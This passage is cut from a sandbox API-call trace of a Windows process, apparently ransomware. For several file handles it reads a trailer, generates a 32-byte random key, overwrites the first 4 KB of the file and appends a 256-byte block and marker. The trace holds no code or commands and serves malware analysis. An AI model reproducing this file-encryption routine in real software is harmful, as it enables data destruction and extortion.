nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.606] CloseHandle (hObject=0x88c) returned 1 [0084.606] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 69 [0084.606] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.606] ReadFile (in: hFile=0x890, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.606] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.606] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.606] GetProcessHeap () returned 0x540000 [0084.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.606] ReadFile (in: hFile=0x890, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.668] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.668] WriteFile (in: hFile=0x890, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.668] GetProcessHeap () returned 0x540000 [0084.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.668] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.669] GetProcessHeap () returned 0x540000 [0084.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.670] GetProcessHeap () returned 0x540000 [0084.670] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.671] GetProcessHeap () returned 0x540000 [0084.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.672] GetProcessHeap () returned 0x540000 [0084.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.673] GetProcessHeap () returned 0x540000 [0084.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.673] GetProcessHeap () returned 0x540000 [0084.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.673] SetFilePointerEx (in: hFile=0x890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.673] WriteFile (in: hFile=0x890, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.673] WriteFile (in: hFile=0x890, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.673] GetProcessHeap () returned 0x540000 [0084.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.673] GetProcessHeap () returned 0x540000 [0084.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.673] GetProcessHeap () returned 0x540000 [0084.673] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.673] CloseHandle (hObject=0x890) returned 1 [0084.675] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 70 [0084.675] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.675] ReadFile (in: hFile=0x894, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.675] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.675] GetProcessHeap () returned 0x540000 [0084.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.675] GetProcessHeap () returned 0x540000 [0084.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.675] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.675] GetProcessHeap () returned 0x540000 [0084.675] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.675] ReadFile (in: hFile=0x894, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.731] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.731] WriteFile (in: hFile=0x894, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.731] GetProcessHeap () returned 0x540000 [0084.731] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.731] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.732] GetProcessHeap () returned 0x540000 [0084.732] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.732] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.733] GetProcessHeap () returned 0x540000 [0084.733] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.734] GetProcessHeap () returned 0x540000 [0084.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: 